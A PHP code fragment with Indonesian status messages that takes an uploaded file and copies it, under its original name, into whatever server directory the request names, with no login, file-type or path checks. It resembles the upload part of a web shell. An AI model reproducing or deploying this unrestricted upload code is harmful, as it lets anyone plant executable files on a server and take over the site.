'; echo ''; echo ''; echo ''; echo ''; } if (isset($_FILES['file']['tmp_name'])) { $upload_tmp = $_FILES['file']['tmp_name']; $upload_error = $_FILES['file']['error']; $upload_name = $_FILES['file']['name']; // Cek apakah ada error saat upload if ($upload_error !== UPLOAD_ERR_OK) { $error_message = getUploadErrorMessage($upload_error); echo "
GAGAL UPLOAD: $error_message
"; } // Cek apakah file ada di temporary elseif (!file_exists($upload_tmp)) { echo "GAGAL UPLOAD: File temporary tidak ditemukan
"; } // Cek apakah direktori tujuan ada elseif (!isset($_POST['dir']) || empty($_POST['dir'])) { echo "GAGAL UPLOAD: Direktori tujuan tidak ditentukan
"; } elseif (!is_dir($_POST['dir'])) { echo "GAGAL UPLOAD: Direktori '" . htmlspecialchars($_POST['dir']) . "' tidak ditemukan
"; } // Cek apakah direktori dapat ditulis elseif (!is_writable($_POST['dir'])) { echo "GAGAL UPLOAD: Direktori '" . htmlspecialchars($_POST['dir']) . "' tidak dapat ditulis
"; } else { $target_dir = $_POST['dir']; $target_file = $target_dir . "/" . $upload_name; // Cek apakah file sudah ada if (file_exists($target_file)) { echo "GAGAL UPLOAD: File dengan nama yang sama sudah ada
"; } else { // Proses upload if (copy($upload_tmp, $target_file)) { echo "BERHASIL: Berkas diunggah ke " . htmlspecialchars($target_file) . "
"; } else { echo "GAGAL UPLOAD: Tidak dapat menyalin file ke direktori tujuan
"; } } } } /** * Fungsi untuk mendapatkan pesan error upload */ function getUploadErrorMessage($error_code) { switch ($error_code) { case UPLOAD_ERR_INI_SIZE: return "Ukuran file melebihi batas upload_max_filesize di php.ini"; case UPLOAD_ERR_FORM_SIZE: return "Ukuran file melebihi batas MAX_FILE_SIZE yang ditentukan"; case UPLOAD_ERR_PARTIAL: return "File hanya terupload sebagian"; case UPLOAD_ERR_NO_FILE: return "Tidak ada file yang diupload"; case UPLOAD_ERR_NO_TMP_DIR: return "Folder temporary tidak ditemukan"; case UPLOAD_ERR_CANT_WRITE: return "Gagal menulis file ke disk"; case UPLOAD_ERR_EXTENSION: return "Upload dihentikan oleh ekstensi PHP"; default: return "Error tidak dikenal (Kode: " . $error_code . ")"; } } ?>